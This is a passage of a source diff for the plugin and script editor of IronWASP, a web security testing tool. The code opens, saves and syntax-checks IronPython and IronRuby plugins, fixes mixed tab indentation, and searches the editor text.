(OpenedFile.Name.EndsWith(".py")) - { - SetLanguageAsIronPython(); - } - else if (OpenedFile.Name.EndsWith(".rb")) - { - SetLanguageAsIronRuby(); - } - Search(); - break; - } - } - - private void otherToolStripMenuItem_Click(object sender, EventArgs e) - { - PluginEditorOpenFileDialog.Title = "Open File"; - PluginEditorOpenFileDialog.InitialDirectory = Config.RootDir + "\\plugins\\"; - while (PluginEditorOpenFileDialog.ShowDialog() == DialogResult.OK) - { - OpenedFile = new FileInfo(PluginEditorOpenFileDialog.FileName); - StreamReader Reader = new StreamReader(OpenedFile.FullName); - PluginEditorTE.Text = Reader.ReadToEnd(); - Reader.Close(); - if (OpenedFile.Name.EndsWith(".py")) - { - SetLanguageAsIronPython(); - } - else if (OpenedFile.Name.EndsWith(".rb")) - { - SetLanguageAsIronRuby(); - } - Search(); - break; - } - } - - private void SaveWorkToolStripMenuItem_Click(object sender, EventArgs e) - { - if (OpenedFile != null && OpenedFile.Name.Length > 0 && !OpenedFile.Name.Equals("Enter an unique name.py") && !OpenedFile.Name.Equals("Enter an unique name.rb")) - { - try - { - string Content = PluginEditorTE.Text; - StreamWriter Writer = new StreamWriter(OpenedFile.FullName); - Writer.Write(Content); - Writer.Close(); - } - catch (Exception Exp) - { - MessageBox.Show(string.Format("Unable to save file: {0}", new object[] { Exp.Message })); - } - } - else - { - GetFileNameFromUserAndSave(); - } - } - - private void PluginEditor_FormClosing(object sender, FormClosingEventArgs e) - { - try - { - Open = false; - MRE.Set(); - }catch{} - } - - private void NewPyActivePluginToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewPythonActivePluginTemplate.txt"); - } - catch(Exception Exp) - { - PluginEditorTE.Text = ""; - IronException.Report("Script Editor Template Error", Exp); - } - SetLanguageAsIronPython(); - OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Active\\Enter an unique name.py"); - } - - private void NewRbActivePluginToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewRubyActivePluginTemplate.txt"); - } - catch (Exception Exp) - { - PluginEditorTE.Text = ""; - IronException.Report("Script Editor Template Error", Exp); - } - SetLanguageAsIronRuby(); - OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Active\\Enter an unique name.rb"); - } - - private void NewPyPassivePluginToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewPythonPassivePluginTemplate.txt"); - } - catch (Exception Exp) - { - PluginEditorTE.Text = ""; - IronException.Report("Script Editor Template Error", Exp); - } - SetLanguageAsIronPython(); - OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Passive\\Enter an unique name.py"); - } - - private void NewRbPassivePluginToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewRubyPassivePluginTemplate.txt"); - } - catch (Exception Exp) - { - PluginEditorTE.Text = ""; - IronException.Report("Script Editor Template Error", Exp); - } - SetLanguageAsIronRuby(); - OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Passive\\Enter an unique name.rb"); - } - - private void NewPySessionPluginToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewPythonSessionPluginTemplate.txt"); - } - catch (Exception Exp) - { - PluginEditorTE.Text = ""; - IronException.Report("Script Editor Template Error", Exp); - } - SetLanguageAsIronPython(); - OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Session\\Enter an unique name.py"); - } - - private void NewRbSessionPluginToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewRubySessionPluginTemplate.txt"); - } - catch (Exception Exp) - { - PluginEditorTE.Text = ""; - IronException.Report("Script Editor Template Error", Exp); - } - SetLanguageAsIronRuby(); - OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Session\\Enter an unique name.rb"); - } - - private void NewPyFormatPluginToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewPythonFormatPluginTemplate.txt"); - } - catch (Exception Exp) - { - PluginEditorTE.Text = ""; - IronException.Report("Script Editor Template Error", Exp); - } - SetLanguageAsIronPython(); - OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Format\\Enter an unique name.py"); - } - - private void NewRbFormatPluginToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewRubyFormatPluginTemplate.txt"); - } - catch (Exception Exp) - { - PluginEditorTE.Text = ""; - IronException.Report("Script Editor Template Error", Exp); - } - SetLanguageAsIronRuby(); - OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Format\\Enter an unique name.rb"); - } - - private void NewPyScriptFileToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewPythonScriptTemplate.txt"); - } - catch (Exception Exp) - { - PluginEditorTE.Text = ""; - IronException.Report("Script Editor Template Error", Exp); - } - SetLanguageAsIronPython(); - OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Enter an unique name.py"); - } - - private void NewRbScriptFileToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewRubyScriptTemplate.txt"); - } - catch (Exception Exp) - { - PluginEditorTE.Text = ""; - IronException.Report("Script Editor Template Error", Exp); - } - SetLanguageAsIronRuby(); - OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Enter an unique name.rb"); - } - - private void CheckSyntaxF5ToolStripMenuItem_Click(object sender, EventArgs e) - { - CheckSyntax(); - } - - private void SaveAsStripMenuItem_Click(object sender, EventArgs e) - { - GetFileNameFromUserAndSave(); - } - - void GetFileNameFromUserAndSave() - { - if (OpenedFile != null) - { - PluginEditorSaveFileDialog.InitialDirectory = OpenedFile.DirectoryName; - if (OpenedFile.Name.Length > 0) - { - PluginEditorSaveFileDialog.FileName = OpenedFile.Name; - } - } - - while (PluginEditorSaveFileDialog.ShowDialog() == DialogResult.OK) - { - FileInfo Info = new FileInfo(PluginEditorSaveFileDialog.FileName); - string Content = PluginEditorTE.Text; - if (Info.Name.StartsWith("Enter an unique name")) - { - MessageBox.Show("Please select a different name"); - } - else if (!(PluginEditorSaveFileDialog.FileName.EndsWith(".py") || PluginEditorSaveFileDialog.FileName.EndsWith(".rb"))) - { - MessageBox.Show("Mention .py or .rb extension"); - } - else - { - try - { - StreamWriter Writer = new StreamWriter(Info.FullName); - Writer.Write(Content); - Writer.Close(); - OpenedFile = new FileInfo(Info.FullName); - } - catch (Exception Exp) - { - MessageBox.Show(string.Format("Unable to save file: {0}", new object[] { Exp.Message })); - } - break; - } - } - } - - private void PluginEditorSearchTB_KeyUp(object sender, KeyEventArgs e) - { - if (e.KeyCode == Keys.Enter) - { - if (PluginEditorSearchTB.Text.Equals(Keyword)) - { - FindNext(); - } - else - { - Search(); - } - return; - } - if (e.KeyCode == Keys.PageUp) - { - FindPrevious(); - } - else if (e.KeyCode == Keys.PageDown) - { - FindNext(); - } - else - { - ResetSearchValues(); - } - } - - void Search() - { - ResetSearchValues(); - InResetState = false; - Keyword = PluginEditorSearchTB.Text; - if (Keyword.Length == 0) return; - - List Lines = new List(PluginEditorTE.Text.Split(new string[] {"\n"}, StringSplitOptions.None)); - for (int LineNo = 0; LineNo < Lines.Count; LineNo++) - { - bool Loop = true; - int StartIndex = 0; - while (Loop) - { - Loop = false; - int MatchSpot = Lines[LineNo].IndexOf(Keyword, StartIndex, StringComparison.CurrentCultureIgnoreCase); - if (MatchSpot >= 0) - { - MatchSpots.Add(new int[]{LineNo, MatchSpot}); - if ((MatchSpot + Keyword.Length) < Lines[LineNo].Length) - { - StartIndex = MatchSpot + 1; - Loop = true; - } - } - } - } - - MatchCountLbl.Text = MatchSpots.Count.ToString(); - if (MatchSpots.Count > 0) - { - TextAreaControl TAC = PluginEditorTE.ActiveTextAreaControl; - TAC.SelectionManager.SetSelection(new Point(MatchSpots[0][1], MatchSpots[0][0]), new Point(MatchSpots[0][1] + Keyword.Length, MatchSpots[0][0])); - TAC.ScrollTo(MatchSpots[0][0]); - } - else - { - ClearSelection(); - } - } - - void FindNext() - { - if (MatchSpots.Count == 0) - { - ClearSelection(); - return; - } - if (CurrentSpot == (MatchSpots.Count - 1)) - { - CurrentSpot = 0; - } - else - { - CurrentSpot++; - } - TextAreaControl TAC = PluginEditorTE.ActiveTextAreaControl; - TAC.SelectionManager.SetSelection(new Point(MatchSpots[CurrentSpot][1], MatchSpots[CurrentSpot][0]), new Point(MatchSpots[CurrentSpot][1] + Keyword.Length, MatchSpots[CurrentSpot][0])); - TAC.ScrollTo(MatchSpots[CurrentSpot][0]); - } - - void FindPrevious() - { - if (MatchSpots.Count == 0) - { - ClearSelection(); - return; - } - if (CurrentSpot == 0) - { - CurrentSpot = MatchSpots.Count - 1; - } - else - { - CurrentSpot--; - } - TextAreaControl TAC = PluginEditorTE.ActiveTextAreaControl; - TAC.SelectionManager.SetSelection(new Point(MatchSpots[CurrentSpot][1], MatchSpots[CurrentSpot][0]), new Point(MatchSpots[CurrentSpot][1] + Keyword.Length, MatchSpots[CurrentSpot][0])); - TAC.ScrollTo(MatchSpots[CurrentSpot][0]); - } - - void ResetSearchValues() - { - if (!InResetState) - { - Keyword = ""; - MatchSpots = new List(); - CurrentSpot = 0; - MatchCountLbl.Text = ""; - InResetState = true; - } - } - - void ClearSelection() - { - TextAreaControl TAC = PluginEditorTE.ActiveTextAreaControl; - TAC.SelectionManager.ClearSelection(); - } - - private void SearchMoveNextBtn_Click(object sender, EventArgs e) - { - FindNext(); - } - - private void SearchMovePreviousBtn_Click(object sender, EventArgs e) - { - FindPrevious(); - } - - private void FixPythonIndentationToolStripMenuItem_Click(object sender, EventArgs e) - { - string EditorText = PluginEditorTE.Text; - PluginEditorTE.Text = FixPythonIndentation(EditorText); - CheckSyntax(); - } - - delegate void ShowHideIndentationFixMenu_d(bool Show); - internal void ShowHideIndentationFixMenu(bool Show) - { - if (PluginEditorBaseSplit.InvokeRequired) - { - ShowHideIndentationFixMenu_d SHIFM_d = new ShowHideIndentationFixMenu_d(ShowHideIndentationFixMenu); - PluginEditorBaseSplit.Invoke(SHIFM_d, new object[] { Show }); - } - else - { - FixPythonIndentationToolStripMenuItem.Visible = Show; - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see . +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.IO; +using System.Windows.Forms; +using System.Threading; +using ICSharpCode.TextEditor; +using ICSharpCode.TextEditor.Document; +using Microsoft.Scripting; +using Microsoft.Scripting.Runtime; +using Microsoft.Scripting.Hosting; +using IronPython; +using IronPython.Hosting; +using IronPython.Modules; +using IronPython.Runtime; +using IronPython.Runtime.Exceptions; +using IronRuby; +using IronRuby.Hosting; +using IronRuby.Runtime; +using IronRuby.StandardLibrary; + +namespace IronWASP +{ + public partial class PluginEditor : Form + { + static ScriptRuntime RunTime; + static ScriptEngine Engine; + static string CurrentLanguage = "py"; + internal static FileInfo OpenedFile; + internal static Thread T; + static bool Open = true; + static ManualResetEvent MRE = new ManualResetEvent(false); + + static Stack EditorTextStack = new Stack(); + + //Search Related Values + string Keyword = ""; + List MatchSpots = new List(); + int CurrentSpot = 0; + bool InResetState = true; + + public PluginEditor() + { + InitializeComponent(); + } + + private void PluginEditor_Load(object sender, EventArgs e) + { + Open = true; + + PluginEditorTE.ShowTabs = false; + PluginEditorTE.ShowEOLMarkers = false; + PluginEditorTE.ShowSpaces = false; + PluginEditorTE.ShowInvalidLines = false; + PluginEditorTE.TabIndent = 2; + + Directory.SetCurrentDirectory(Config.RootDir); + HighlightingManager.Manager.AddSyntaxModeFileProvider(new EditorSyntaxModesProvider()); + + PluginEditorTE.SetHighlighting("Python"); + ScriptRuntimeSetup Setup = new ScriptRuntimeSetup(); + Setup.LanguageSetups.Add(IronRuby.Ruby.CreateRubySetup()); + Setup.LanguageSetups.Add(IronPython.Hosting.Python.CreateLanguageSetup(null)); + RunTime = new ScriptRuntime(Setup); + Engine = RunTime.GetEngine("py"); + APIDoc.BuildPluginEditorTrees(); + PluginEditorTE.ActiveTextAreaControl.TextArea.KeyUp += new System.Windows.Forms.KeyEventHandler(this.PluginEditorTE_KeyUp); + PluginEditorTE.Document.DocumentChanged += new DocumentEventHandler(this.PluginEditorTE_Change); + } + + private void PluginEditorPythonAPITree_AfterSelect(object sender, TreeViewEventArgs e) + { + this.PluginEditorAPIDetailsRTB.Rtf = APIDoc.GetPyDecription(e.Node); + } + + private void PluginEditorRubyAPITree_AfterSelect(object sender, TreeViewEventArgs e) + { + this.PluginEditorAPIDetailsRTB.Rtf = APIDoc.GetRbDecription(e.Node); + } + + private void IronPythonToolStripMenuItem_Click(object sender, EventArgs e) + { + SetLanguageAsIronPython(); + } + + private void IronRubyToolStripMenuItem_Click(object sender, EventArgs e) + { + SetLanguageAsIronRuby(); + } + + internal void SetLanguageAsIronPython() + { + try + { + Engine = RunTime.GetEngine("py"); + Directory.SetCurrentDirectory(Config.RootDir); + PluginEditorTE.SetHighlighting("Python"); + PluginEditorTE.Refresh(); + CheckSyntax(); + CurrentLanguage = "py"; + } + catch (Exception Exp) + { + IronUI.ShowPluginCompilerError("Error Changing Language: " + Exp.Message); + } + } + + internal void SetLanguageAsIronRuby() + { + try + { + Engine = RunTime.GetEngine("rb"); + Directory.SetCurrentDirectory(Config.RootDir); + PluginEditorTE.SetHighlighting("Ruby"); + PluginEditorTE.Refresh(); + CheckSyntax(); + CurrentLanguage = "rb"; + } + catch (Exception Exp) + { + IronUI.ShowPluginCompilerError("Error Changing Language: " + Exp.Message); + } + } + + private void PluginEditorTE_KeyUp(object sender, KeyEventArgs e) + { + if (e.KeyData == Keys.Enter || e.KeyData == Keys.F5) + { + CheckSyntax(); + } + } + + private void PluginEditorTE_Change(object sender, DocumentEventArgs e) + { + ResetSearchValues(); + } + + private void PluginEditorTE_TextChanged(object sender, EventArgs e) + { + ResetSearchValues(); + } + + void CheckSyntax() + { + try + { + string EditorText = PluginEditorTE.Text; + EditorTextStack.Push(EditorText); + + if (T != null && T.ThreadState == ThreadState.WaitSleepJoin) + { + MRE.Set(); + } + else + { + T = new Thread(SyntaxChecker); + MRE.Set(); + T.Start(); + } + } + catch(Exception Exp) + { + IronException.Report("Error checking Syntax", Exp); + } + } + + void SyntaxChecker() + { + try + { + while (Open) + { + string EditorText = ""; + lock (EditorTextStack) + { + if (EditorTextStack.Count > 0) + { + + EditorText = EditorTextStack.Pop(); + EditorTextStack.Clear(); + } + } + string ErrorMessage = ""; + try + { + string IndentError = ""; + if (CurrentLanguage.Equals("py")) + { + IndentError = CheckPythonIndentation(EditorText)[0]; + } + ScriptSource Source = Engine.CreateScriptSourceFromString(EditorText); + ScriptErrorReporter CompileErrors = new ScriptErrorReporter(); + Source.Compile(CompileErrors); + ErrorMessage = CompileErrors.GetErrors(); + if (IndentError.Length > 0) + { + ErrorMessage = string.Format("{0}\r\n{1}", IndentError, ErrorMessage); + ShowHideIndentationFixMenu(true); + } + else + { + ShowHideIndentationFixMenu(false); + } + if (ErrorMessage.Length == 0) { ErrorMessage = "0"; } + } + catch (Exception Exp) + { + ErrorMessage = Exp.Message; + } + IronUI.ShowPluginCompilerError(ErrorMessage); + MRE.Reset(); + MRE.WaitOne(); + } + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + IronException.Report("Error performing Syntax checking", Exp); + } + } + + internal static string[] CheckPythonIndentation(string Code) + { + string[] Messages = new string[]{"This code uses a mix of Space and Tab characters for indentation. Because of this even if the indentation looks visually correct it could be invalid. This usually happens when you write some part of the code in one editor and some other part of the code in another editor (also happens if some code was written in the Editor of an older version of IronWASP).\r\nTo resolve this issue please click on the 'Fix Python Indentation' menu item, all tabs at the beginning of the line will be replaced by 4 space characters.", + "This code uses a mix of Space and Tab characters for indentation. Because of this even if the indentation looks visually correct it could be invalid. This usually happens when you write some part of the code in one editor and some other part of the code in another editor (also happens if some code was written in the Editor of an older version of IronWASP).\r\nTo resolve this issue please open the 'Script/Plugin Editor' from under 'Dev Tools' menu option. Paste this code in to the editor and click on 'Check Syntax'. Once you do this there will be a new menu item called 'Fix Python Indentation', click that to fix the indentation issue, all tabs at the beginning of the line will be replaced by 4 space characters."}; + + + bool TabUsed = false; + bool SpaceUsed = false; + + foreach(string Line in Code.Split(new string[]{Environment.NewLine}, StringSplitOptions.RemoveEmptyEntries)) + { + string TrimmedLine = Line.Trim(); + if (TrimmedLine.Length > 0 && !TrimmedLine.StartsWith("#")) + { + foreach (char C in Line.ToCharArray()) + { + if (C == '\t') + { + TabUsed = true; + if (SpaceUsed) + { + return Messages; + } + } + else if (C == ' ') + { + SpaceUsed = true; + if (TabUsed) + { + return Messages; + } + } + else + { + break; + } + } + } + } + return new string[]{"", ""}; + } + + internal static string FixPythonIndentation(string Code) + { + StringBuilder Result = new StringBuilder(); + foreach (string Line in Code.Split(new string[] { Environment.NewLine }, StringSplitOptions.None)) + { + if (Line.Contains("\t")) + { + bool SpacingSectionOver = false; + foreach (char C in Line.ToCharArray()) + { + if (SpacingSectionOver) + { + Result.Append(C); + } + else + { + if (C == '\t') + { + Result.Append(" "); + } + else if (C == ' ') + { + Result.Append(C); + } + else + { + Result.Append(C); + SpacingSectionOver = true; + } + } + } + } + else + { + Result.Append(Line); + } + Result.AppendLine(); + } + return Result.ToString(); + } + + private void ActivePluginToolStripMenuItem_Click(object sender, EventArgs e) + { + PluginEditorOpenFileDialog.Title = "Open an Active Plugin"; + PluginEditorOpenFileDialog.InitialDirectory = Config.RootDir + "\\plugins\\Active\\"; + while (PluginEditorOpenFileDialog.ShowDialog() == DialogResult.OK) + { + OpenedFile = new FileInfo(PluginEditorOpenFileDialog.FileName); + StreamReader Reader = new StreamReader(OpenedFile.FullName); + PluginEditorTE.Text = Reader.ReadToEnd(); + Reader.Close(); + if (OpenedFile.Name.EndsWith(".py")) + { + SetLanguageAsIronPython(); + } + else if (OpenedFile.Name.EndsWith(".rb")) + { + SetLanguageAsIronRuby(); + } + Search(); + break; + } + } + + private void passivePluginToolStripMenuItem1_Click(object sender, EventArgs e) + { + PluginEditorOpenFileDialog.Title = "Open a Passive Plugin"; + PluginEditorOpenFileDialog.InitialDirectory = Config.RootDir + "\\plugins\\Passive\\"; + while (PluginEditorOpenFileDialog.ShowDialog() == DialogResult.OK) + { + OpenedFile = new FileInfo(PluginEditorOpenFileDialog.FileName); + StreamReader Reader = new StreamReader(OpenedFile.FullName); + PluginEditorTE.Text = Reader.ReadToEnd(); + Reader.Close(); + if (OpenedFile.Name.EndsWith(".py")) + { + SetLanguageAsIronPython(); + } + else if (OpenedFile.Name.EndsWith(".rb")) + { + SetLanguageAsIronRuby(); + } + Search(); + break; + } + } + + private void formatPluginToolStripMenuItem1_Click(object sender, EventArgs e) + { + PluginEditorOpenFileDialog.Title = "Open a Format Plugin"; + PluginEditorOpenFileDialog.InitialDirectory = Config.RootDir + "\\plugins\\Format\\"; + while (PluginEditorOpenFileDialog.ShowDialog() == DialogResult.OK) + { + OpenedFile = new FileInfo(PluginEditorOpenFileDialog.FileName); + StreamReader Reader = new StreamReader(OpenedFile.FullName); + PluginEditorTE.Text = Reader.ReadToEnd(); + Reader.Close(); + if (OpenedFile.Name.EndsWith(".py")) + { + SetLanguageAsIronPython(); + } + else if (OpenedFile.Name.EndsWith(".rb")) + { + SetLanguageAsIronRuby(); + } + Search(); + break; + } + } + + private void sessionPluginToolStripMenuItem1_Click(object sender, EventArgs e) + { + PluginEditorOpenFileDialog.Title = "Open a Session Plugin"; + PluginEditorOpenFileDialog.InitialDirectory = Config.RootDir + "\\plugins\\Session\\"; + while (PluginEditorOpenFileDialog.ShowDialog() == DialogResult.OK) + { + OpenedFile = new FileInfo(PluginEditorOpenFileDialog.FileName); + StreamReader Reader = new StreamReader(OpenedFile.FullName); + PluginEditorTE.Text = Reader.ReadToEnd(); + Reader.Close(); + if (OpenedFile.Name.EndsWith(".py")) + { + SetLanguageAsIronPython(); + } + else if (OpenedFile.Name.EndsWith(".rb")) + { + SetLanguageAsIronRuby(); + } + Search(); + break; + } + } + + private void otherToolStripMenuItem_Click(object sender, EventArgs e) + { + PluginEditorOpenFileDialog.Title = "Open File"; + PluginEditorOpenFileDialog.InitialDirectory = Config.RootDir + "\\plugins\\"; + while (PluginEditorOpenFileDialog.ShowDialog() == DialogResult.OK) + { + OpenedFile = new FileInfo(PluginEditorOpenFileDialog.FileName); + StreamReader Reader = new StreamReader(OpenedFile.FullName); + PluginEditorTE.Text = Reader.ReadToEnd(); + Reader.Close(); + if (OpenedFile.Name.EndsWith(".py")) + { + SetLanguageAsIronPython(); + } + else if (OpenedFile.Name.EndsWith(".rb")) + { + SetLanguageAsIronRuby(); + } + Search(); + break; + } + } + + private void SaveWorkToolStripMenuItem_Click(object sender, EventArgs e) + { + if (OpenedFile != null && OpenedFile.Name.Length > 0 && !OpenedFile.Name.Equals("Enter an unique name.py") && !OpenedFile.Name.Equals("Enter an unique name.rb")) + { + try + { + string Content = PluginEditorTE.Text; + StreamWriter Writer = new StreamWriter(OpenedFile.FullName); + Writer.Write(Content); + Writer.Close(); + } + catch (Exception Exp) + { + MessageBox.Show(string.Format("Unable to save file: {0}", new object[] { Exp.Message })); + } + } + else + { + GetFileNameFromUserAndSave(); + } + } + + private void PluginEditor_FormClosing(object sender, FormClosingEventArgs e) + { + try + { + Open = false; + MRE.Set(); + }catch{} + } + + private void NewPyActivePluginToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewPythonActivePluginTemplate.txt"); + } + catch(Exception Exp) + { + PluginEditorTE.Text = ""; + IronException.Report("Script Editor Template Error", Exp); + } + SetLanguageAsIronPython(); + OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Active\\Enter an unique name.py"); + } + + private void NewRbActivePluginToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewRubyActivePluginTemplate.txt"); + } + catch (Exception Exp) + { + PluginEditorTE.Text = ""; + IronException.Report("Script Editor Template Error", Exp); + } + SetLanguageAsIronRuby(); + OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Active\\Enter an unique name.rb"); + } + + private void NewPyPassivePluginToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewPythonPassivePluginTemplate.txt"); + } + catch (Exception Exp) + { + PluginEditorTE.Text = ""; + IronException.Report("Script Editor Template Error", Exp); + } + SetLanguageAsIronPython(); + OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Passive\\Enter an unique name.py"); + } + + private void NewRbPassivePluginToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewRubyPassivePluginTemplate.txt"); + } + catch (Exception Exp) + { + PluginEditorTE.Text = ""; + IronException.Report("Script Editor Template Error", Exp); + } + SetLanguageAsIronRuby(); + OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Passive\\Enter an unique name.rb"); + } + + private void NewPySessionPluginToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewPythonSessionPluginTemplate.txt"); + } + catch (Exception Exp) + { + PluginEditorTE.Text = ""; + IronException.Report("Script Editor Template Error", Exp); + } + SetLanguageAsIronPython(); + OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Session\\Enter an unique name.py"); + } + + private void NewRbSessionPluginToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewRubySessionPluginTemplate.txt"); + } + catch (Exception Exp) + { + PluginEditorTE.Text = ""; + IronException.Report("Script Editor Template Error", Exp); + } + SetLanguageAsIronRuby(); + OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Session\\Enter an unique name.rb"); + } + + private void NewPyFormatPluginToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewPythonFormatPluginTemplate.txt"); + } + catch (Exception Exp) + { + PluginEditorTE.Text = ""; + IronException.Report("Script Editor Template Error", Exp); + } + SetLanguageAsIronPython(); + OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Format\\Enter an unique name.py"); + } + + private void NewRbFormatPluginToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewRubyFormatPluginTemplate.txt"); + } + catch (Exception Exp) + { + PluginEditorTE.Text = ""; + IronException.Report("Script Editor Template Error", Exp); + } + SetLanguageAsIronRuby(); + OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Format\\Enter an unique name.rb"); + } + + private void NewPyScriptFileToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewPythonScriptTemplate.txt"); + } + catch (Exception Exp) + { + PluginEditorTE.Text = ""; + IronException.Report("Script Editor Template Error", Exp); + } + SetLanguageAsIronPython(); + OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Enter an unique name.py"); + } + + private void NewRbScriptFileToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + PluginEditorTE.Text = File.ReadAllText(Config.RootDir + "\\NewRubyScriptTemplate.txt"); + } + catch (Exception Exp) + { + PluginEditorTE.Text = ""; + IronException.Report("Script Editor Template Error", Exp); + } + SetLanguageAsIronRuby(); + OpenedFile = new FileInfo(Config.RootDir + "\\Plugins\\Enter an unique name.rb"); + } + + private void CheckSyntaxF5ToolStripMenuItem_Click(object sender, EventArgs e) + { + CheckSyntax(); + } + + private void SaveAsStripMenuItem_Click(object sender, EventArgs e) + { + GetFileNameFromUserAndSave(); + } + + void GetFileNameFromUserAndSave() + { + if (OpenedFile != null) + { + PluginEditorSaveFileDialog.InitialDirectory = OpenedFile.DirectoryName; + if (OpenedFile.Name.Length > 0) + { + PluginEditorSaveFileDialog.FileName = OpenedFile.Name; + } + } + + while (PluginEditorSaveFileDialog.ShowDialog() == DialogResult.OK) + { + FileInfo Info = new FileInfo(PluginEditorSaveFileDialog.FileName); + string Content = PluginEditorTE.Text; + if (Info.Name.StartsWith("Enter an unique name")) + { + MessageBox.Show("Please select a different name"); + } + else if (!(PluginEditorSaveFileDialog.FileName.EndsWith(".py") || PluginEditorSaveFileDialog.FileName.EndsWith(".rb"))) + { + MessageBox.Show("Mention .py or .rb extension"); + } + else + { + try + { + StreamWriter Writer = new StreamWriter(Info.FullName); + Writer.Write(Content); + Writer.Close(); + OpenedFile = new FileInfo(Info.FullName); + } + catch (Exception Exp) + { + MessageBox.Show(string.Format("Unable to save file: {0}", new object[] { Exp.Message })); + } + break; + } + } + } + + private void PluginEditorSearchTB_KeyUp(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Enter) + { + if (PluginEditorSearchTB.Text.Equals(Keyword)) + { + FindNext(); + } + else + { + Search(); + } + return; + } + if (e.KeyCode == Keys.PageUp) + { + FindPrevious(); + } + else if (e.KeyCode == Keys.PageDown) + { + FindNext(); + } + else + { + ResetSearchValues(); + } + } + + void Search() + { + ResetSearchValues(); + InResetState = false; + Keyword = PluginEditorSearchTB.Text; + if (Keyword.Length == 0) return; + + List Lines = new List(PluginEditorTE.Text.Split(new string[] {"\n"}, StringSplitOptions.None)); + for (int LineNo = 0; LineNo < Lines.Count; LineNo++) + { + bool Loop = true; + int StartIndex = 0; + while (Loop) + { + Loop = false; + int MatchSpot = Lines[LineNo].IndexOf(Keyword, StartIndex, StringComparison.CurrentCultureIgnoreCase); + if (MatchSpot >= 0) + { + MatchSpots.Add(new int[]{LineNo, MatchSpot}); + if ((MatchSpot + Keyword.Length) < Lines[LineNo].Length) + { + StartIndex = MatchSpot + 1; + Loop = true; + } + } + } + } + + MatchCountLbl.Text = MatchSpots.Count.ToString(); + if (MatchSpots.Count > 0) + { + TextAreaControl TAC = PluginEditorTE.ActiveTextAreaControl; + TAC.SelectionManager.SetSelection(new Point(MatchSpots[0][1], MatchSpots[0][0]), new Point(MatchSpots[0][1] + Keyword.Length, MatchSpots[0][0])); + TAC.ScrollTo(MatchSpots[0][0]); + } + else + { + ClearSelection(); + } + } + + void FindNext() + { + if (MatchSpots.Count == 0) + { + ClearSelection(); + return; + } + if (CurrentSpot == (MatchSpots.Count - 1)) + { + CurrentSpot = 0; + } + else + { + CurrentSpot++; + } + TextAreaControl TAC = PluginEditorTE.ActiveTextAreaControl; + TAC.SelectionManager.SetSelection(new Point(MatchSpots[CurrentSpot][1], MatchSpots[CurrentSpot][0]), new Point(MatchSpots[CurrentSpot][1] + Keyword.Length, MatchSpots[CurrentSpot][0])); + TAC.ScrollTo(MatchSpots[CurrentSpot][0]); + } + + void 